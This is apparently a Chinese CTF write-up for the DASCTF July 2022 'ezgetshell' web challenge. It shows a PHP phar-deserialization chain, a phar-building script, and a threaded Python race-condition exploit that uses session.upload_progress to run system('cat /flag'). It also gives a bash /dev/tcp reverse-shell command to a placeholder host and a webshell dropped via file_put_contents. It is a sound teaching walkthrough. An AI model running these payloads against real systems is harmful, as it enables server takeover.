[DSACTF2022七月]ezgetshell【下】

[DSACTF2022七月]ezgetshell【下】

目录

0x06解题过程

文件包含

通过特征我们知道本题就是考察我们phar反序列化的内容,通过文件上传phar文件,然后读取文件达到代码执行的目的

对代码分析,我们发现我们可以通过phar反序列化得到一个文件包含的地方,但是我们无法直接上传木马,因为会对木马进行过滤

通过file.php和show.php可以发现,每次都是开启session的,这个好像没有用,但是是明显的提示

到此,我们能搜集的信息就只有这些,当下可以先试着构造一条phpinfo的链来试一试:

if(end($arguments)=='phpinfo'){ 
                phpinfo();

先构造一条可以到phpinfo的链:

这个构造也是十分清楚的,首先利用Upload()类下的__toString()方法,要触发这个方法,只有在Text()类下才行

也就是Text()类下的$str,直接把它赋值为一个Upload对象,虽然人家创建的时候会给str一个值,但是我们可以后面覆盖呀, 我们创建它,然后给它新值,php的弱类型刚好可以发挥作用。

class Test{
        public $str;
        public function __construct(){ //类被创建的时候赋值
            $this->str="It's works";
        }
        public function __destruct()
        {
            echo $this->str; //被销毁时echo $str
        }
    }

然后就是Upload类的__toString(),这里让$fname为下面的show类对象

function __toString(){  
            $cont = $this->fname;
            $size = $this->fsize;
            echo $cont->$size;
            return 'this_is_upload';
        }

它可以触发Show()类的__get进而触发__call方法,然后就可以调用phpinfo()

function __get($name) # 获取不存在变量或者私有变量就触发该魔术方法,name为这个变量的名字
        {
            $this->ok($name);
        }
        public function __call($name, $arguments) # 当调用不存在的方式时就调用该魔术方法,比如上面的ok函数,其中argument变量中存在这不可访问的name方法的参数
        {
            if(end($arguments)=='phpinfo'){ //提供更多的数据
                phpinfo();
            }else{
                $this->backdoor(end($arguments)); //后门函数
            }
            return $name;
        }

在这中间,fname是对象名,也就是show对象,fsize是参数,也就是“phpinfo”

写个简单的phar来获得一下phpinfo:

<?php

class Test{
    public $str;
}

class Show{

}

class Upload
{
    public $fsize;
    public $fname;
}

$test = new Test();
$upload =new Upload();
$show = new Show();
$upload->fname=$show;
$upload->fsize="phpinfo";
$test->str=$upload;

@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

用gzip压缩一下,来顺利通过过滤,然后修改为png上传(要知道phar本来就是可以压缩的)

Show类文件查看里没有禁止phar伪协议,直接查看就可以了:

/file.php?f=phar://upload/00bf23e130fa1e525e332ff03dae345d.png
// 注:shell.png的md5为00bf23e130fa1e525e332ff03dae345d

到此,我们就完成了一个重要的步骤,就是任意文件包含

在这里我尝试使用图片马来进行上传,然后通过上面的方法进行文件包含,但是很无奈,图片马被无法解析,而上传的文件也无法控制后缀,只能另外想其他办法来解决。

通过对phpinfo的信息分析我们发现

session保存位置不知道,默认为/tem下或者 /var/lib/php/session下。保存的名字就是sess_PHPSESSIONID,其中PHPSESSIONID是sessionid,这个id在session.use_strict_mode为off的时候是可以客户端伪造的,不过这个属性默认就是off,也就是说我们可以直接伪造一个sessionid来上传

session木马上传

使用一个libestor的sessionid(可以使用其他字符)

使用一个50k的文件(代码内准备)

创建一个包含/tem/sess_libestor的shell.phar文件,并压缩,然后改名为.png的文件

gzip shell.phar

上传shell.png

寻找web目录:/var/www/html/

编写脚本进行条件竞争(使用burp suite也可以)

脚本:

import sys, threading, requests, re
from hashlib import md5

#HOST = sys.argv[1]
#PORT = sys.argv[2]
HOST = "url"
PORT = "port"

flag = ''
check = True

# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl, s):
    global check, flag
    while check:
        fname = md5('shell.png'.encode('utf-8')).hexdigest() + '.png'
        params = {
            'f': 'phar://upload/' + fname
        }
        res = s.get(url=fileurl, params=params)
        if "working" in res.text:
            flag = re.findall('upload_progress_working(DASCTF{.+})', res.text)[0]
            check = False

# 利用session.upload.progress写入临时文件
def sess_upload(url, s):
    global check

    while check:
        data = {
            'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag'); ?>"
        }
        cookies = {
            'PHPSESSID': 'libestor'
        }
        files = {
            'file': ('chaaa.png', b'cha' * 300)
        }
        s.post(url=url, data=data, cookies=cookies, files=files)

def exp(ip, port):
    url = "http://" + ip + ":" + port + "/"
    fileurl = url + 'file.php'
    uploadurl = url + 'upload.php'

    num = threading.active_count() # 返回当前存活的线程数量,不为0
    # 上传phar文件
    file = {'file': open('./shell.png', 'rb')}
    ret = requests.post(url=uploadurl, files=file)
    # 文件上传条件竞争获取flag
    event = threading.Event()
    s1 = requests.Session()
    s2 = requests.Session()

    for i in range(1, 10):
        threading.Thread(target=sess_upload, args=(uploadurl, s1)).start()
    for i in range(1, 10):
        threading.Thread(target=include, args=(fileurl, s2,)).start()

    while threading.active_count() != num: # 当线程状态回到开始前,就表示执行成功,然后结束程序
        pass

if __name__ == '__main__':
    exp(HOST, PORT)
    print(flag)

在5-8行的地方可以根据自己喜欢的方式输入网站和端口,如果是pycharm可以一键执行就用第二个方便些,命令行执行就用第一个方式。网址是不带http://的

52-53行会进行shell.png的上传,已经上传,或者不需要上传可以注释掉。

0x07 如何getshell

单纯的获取flag已经不满足我们的要(ye)求(xing)了,我们尝试写入一句话到网站根目录中

我们有的

我们现在可以执行一条php指令(当然多写几条也是可以的)。

我们需要的

一个web可以访问的地址且可写

通过对当前目录执行ls -al发现web根目录只有root可写,但是upload目录是777的权限

冻手

反弹shell:

在exp.py的命令中再加入一条为system('bash -i >& /dev/tcp/xx.xx.xx.xx/55555 0>&1') 的指令就可以

然后再vps使用nc -lvvp 55555就可以,不过不能反弹成功,这个受限于服务端是个容器,没有映射所有端口。

一句话木马:

  1. 简单的

    最简单的方法就是通过file_put_contents函数直接写入木马然后运行:

    file_put_contents('/var/www/html/upload/1.php' , '')

    这个只需要在上面exp.py中的34行添加上去就可以

    蚁剑轻松连接

  2. 复杂的

    这个是通过一篇文章发现的

    具体思路就是现在session木马中写入一句话木马1(密码1),

    然后通过文件包含来包含这个木马,之后通过post这个文件包含来写入一句话木马2(密码2)到根目录或者可写目录下

    然后完成一句话木马写入。

彩蛋:

  1. 环境变量中有一个flag,不过是错的(可能以前对过吧)

  2. 其实再第一步包含文件的时候就可以直接包含flag的,不用再去session上传进度注入,官方wp是有这一步session上传注入的

  3. 不会出题可以不用出,我谢谢了

参考文献:

[phar反序列化小结 | Lethe's Blog (ustc.edu.cn)](http://home.ustc.edu.cn/~xjyuan/blog/2019/11/13/phar-unserialize/#:\~:text=phar反序列化即在文件系统函数( file_exists () 、 is_dir (),等)参数可控的情况下,配合 phar://伪协议 ,可以不依赖 unserialize () 直接进行反序列化操作。)

利用 phar 拓展 php 反序列化漏洞攻击面 (seebug.org)

PHP Session.upload_progress - chalan630 - 博客园 (cnblogs.com)

【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行... - FreeBuf网络安全行业门户

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本站及文章作者不为此承担任何责任。

本站拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经本站允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇